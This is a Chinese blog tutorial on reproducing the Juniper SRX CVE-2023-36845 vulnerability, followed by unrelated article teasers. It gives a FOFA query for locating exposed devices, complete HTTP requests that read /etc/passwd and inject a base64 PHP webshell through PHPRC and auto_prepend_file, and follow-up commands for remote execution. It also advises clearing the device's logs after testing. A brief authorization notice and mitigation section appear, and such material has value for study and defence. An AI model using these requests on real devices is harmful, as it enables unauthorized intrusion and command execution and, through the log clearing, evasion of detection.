news 2026/6/30 14:54:28

手把手教你复现Juniper SRX的CVE-2023-36845漏洞(附EXP与FOFA语法)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手教你复现Juniper SRX的CVE-2023-36845漏洞(附EXP与FOFA语法)

从零实战:Juniper SRX设备CVE-2023-36845漏洞深度解析与安全验证

当你第一次听说Juniper SRX系列设备存在任意文件读取漏洞时,是否和我一样既兴奋又忐忑?兴奋的是这可能是进入网络安全实战的一个绝佳案例,忐忑的是面对复杂的设备环境和晦涩的技术文档不知从何下手。本文将带你以渗透测试新手的视角,用最接地气的方式完成整个漏洞复现过程。

1. 漏洞背景与环境准备

Juniper Networks作为企业级网络设备的主要供应商,其SRX系列安全设备广泛应用于各大组织的网络边界防护。2023年曝光的CVE-2023-36845漏洞影响特定版本的Web管理界面,允许攻击者通过精心构造的HTTP请求实现任意文件读取,进而可能升级为远程代码执行。

验证环境准备清单

  • 测试用Juniper SRX设备(版本确认受影响)或合法授权的测试目标
  • Kali Linux或其它渗透测试发行版
  • Burp Suite或Postman用于HTTP请求构造
  • 基础的Linux命令行操作能力

重要提示:所有测试必须在自己拥有合法权限的设备上进行,或在获得明确授权的情况下开展。未经授权的测试可能违反法律法规。

2. 目标识别与信息收集

在正式开始漏洞验证前,我们需要先确认目标设备是否运行了存在漏洞的软件版本。最直接的方式是通过Web界面的特征进行识别。

FOFA搜索引擎查询语法

title="Juniper Web Device Manager"

这个查询会返回互联网上所有公开暴露的Juniper Web管理界面。在实际操作中,我建议添加更多过滤条件以缩小范围:

title="Juniper Web Device Manager" && country="CN" && after="2023-01-01"

目标验证步骤

  1. 访问目标设备的Web管理界面(通常为https://目标IP)
  2. 查看页面底部或登录页面的版本信息
  3. 确认是否在受影响版本范围内

3. 漏洞原理与利用分析

CVE-2023-36845的核心问题出在PHP环境配置的不当处理上。攻击者可以通过特殊的PHPRC参数注入,控制PHP的运行时配置,从而实现任意文件包含。

漏洞利用关键点

  • 通过PHPRC=/dev/fd/0参数指定配置文件从标准输入读取
  • 在POST数据中注入PHP配置指令
  • 利用auto_prepend_file实现文件包含

基础利用请求结构

POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 33 auto_prepend_file="/etc/passwd"

这个请求会尝试读取目标系统的/etc/passwd文件内容。在实际测试中,我发现响应时间会明显变长(约5-10秒),这是判断漏洞是否存在的一个重要指标。

4. 从文件读取到远程代码执行

单纯的任意文件读取已经足够危险,但我们可以进一步利用这个漏洞实现远程命令执行。这需要将攻击分为两个阶段:

4.1 准备阶段:启用危险PHP配置

首先需要修改PHP配置,允许通过data://协议包含外部数据:

POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 92 allow_url_include=1 auto_prepend_file="data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="

这个请求做了两件事:

  1. 设置allow_url_include=1允许远程文件包含
  2. 通过base64编码注入一个简单的PHP webshell

4.2 执行阶段:发送命令并获取结果

配置成功后,可以通过简单的GET请求执行系统命令:

GET /?cmd=id HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close

这个请求会执行id命令并返回结果。在实际测试中,我发现命令输出有时会被截断,这时可以通过输出重定向到临时文件再读取的方式解决。

5. 实战中的常见问题与解决方案

在多次复现这个漏洞的过程中,我遇到了不少"坑",这里分享几个典型问题和解决方法:

编码问题

  • 命令中包含特殊字符时需要先进行URL编码
  • 多行命令可以通过;连接或使用base64编码后解码执行

执行限制

  • 某些系统函数可能被禁用,可尝试替代方案:
    • system()不可用时尝试shell_exec()
    • 直接执行失败可尝试写入webshell文件

网络环境

  • 目标设备可能位于防火墙后,需要调整超时时间
  • 内网环境可能需要设置代理

日志清理

  • Juniper设备会记录详细的访问日志
  • 测试完成后应清理相关日志条目

6. 防御建议与安全加固

作为安全研究人员,我们不仅要会攻击,更要懂得如何防御。针对这个漏洞,我总结了以下几点防护措施:

紧急缓解方案

  1. 立即升级到Juniper官方发布的最新固件版本
  2. 限制Web管理界面的访问来源IP
  3. 在防火墙规则中添加针对异常PHPRC参数的过滤

长期安全加固

  • 定期更新网络设备固件
  • 启用多因素认证
  • 关闭不必要的Web管理功能
  • 实施严格的网络访问控制策略

在最近一次企业安全评估中,我发现即使打了补丁,很多管理员仍使用弱密码或默认凭证,这给了攻击者可乘之机。安全是一个持续的过程,不能仅依赖补丁修复。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/30 14:54:13

开关磁阻电机:从双凸极结构到智能控制,解锁高效驱动新范式

1. 双凸极结构:开关磁阻电机的物理基石 开关磁阻电机的核心秘密藏在它的双凸极结构里。我第一次拆解这种电机时,发现它的转子竟然没有绕组也没有永磁体,就是一堆硅钢片叠在一起,像个实心铁疙瘩。这种看似简单的设计背后却藏着精妙…

作者头像 李华
网站建设 2026/6/30 14:50:07

PX4 Gazebo仿真环境配置更新:解决路径变更导致的软件包缺失问题

1. 问题背景与现象分析 最近不少PX4开发者反馈,在配置Gazebo仿真环境时遇到了奇怪的问题:明明能成功编译并运行make px4_sitl_default gazebo,但在执行roslaunch px4 posix_sitl.launch时却频频报错,系统提示找不到px4、mavlink_…

作者头像 李华
网站建设 2026/6/30 14:47:16

高端机床换刀总卡顿?这款打刀缸用“硬核用料”重新定义稳定性

在高端制造领域,五轴加工中心、高速模具机的生产效率往往卡在一个容易被忽视的环节——换刀。很多工厂花大价钱买了高转速主轴、高刚性床身,却在换刀时遭遇“掉链子”:要么动作迟缓、噪音刺耳,要么频繁漏油、卡刀报警。 其实&…

作者头像 李华
网站建设 2026/6/30 14:42:34

2026年写论文还在手动调Word?这5款工具的真实差距大到离谱

2026毕业季硬核实录:DeepSeek、GPT、Claude深陷“论文修罗场”,结果令人窒息一、 那个让我在图书馆熬到闭馆的下午上周在CSDN后台看到一个学生的留言,让我瞬间梦回那段被Word折磨的日子。他说:“博主,2026年了&#xf…

作者头像 李华
网站建设 2026/6/30 14:42:01

Rocky Linux 安装与配置 Claude Code + DeepSeek 完整指南文档信息

适用系统:Rocky Linux 8/9 (以及 RHEL 系列发行版) 核心工具:Claude Code, ccswitch, DeepSeek API 最后更新:2026-06-17 状态:✅ 已验证可用 1. 概述与架构 1.1 工作原理 本方案通过 ccswitch 作为配置管理工具&#xff0c…

作者头像 李华
网站建设 2026/6/30 14:41:49

LightRAG+Ollama实战:比 GraphRAG更快更便宜的知识图谱RAG

在RAG这个领域过去半年最大的变化不是 embedding 或检索算法,而是从向量 RAG 进化到了知识图谱 RAG(GraphRAG)。微软 2024 年发了 GraphRAG,能解决传统向量 RAG 解决不了的"全局问答"和"跨文档推理"问题&…

作者头像 李华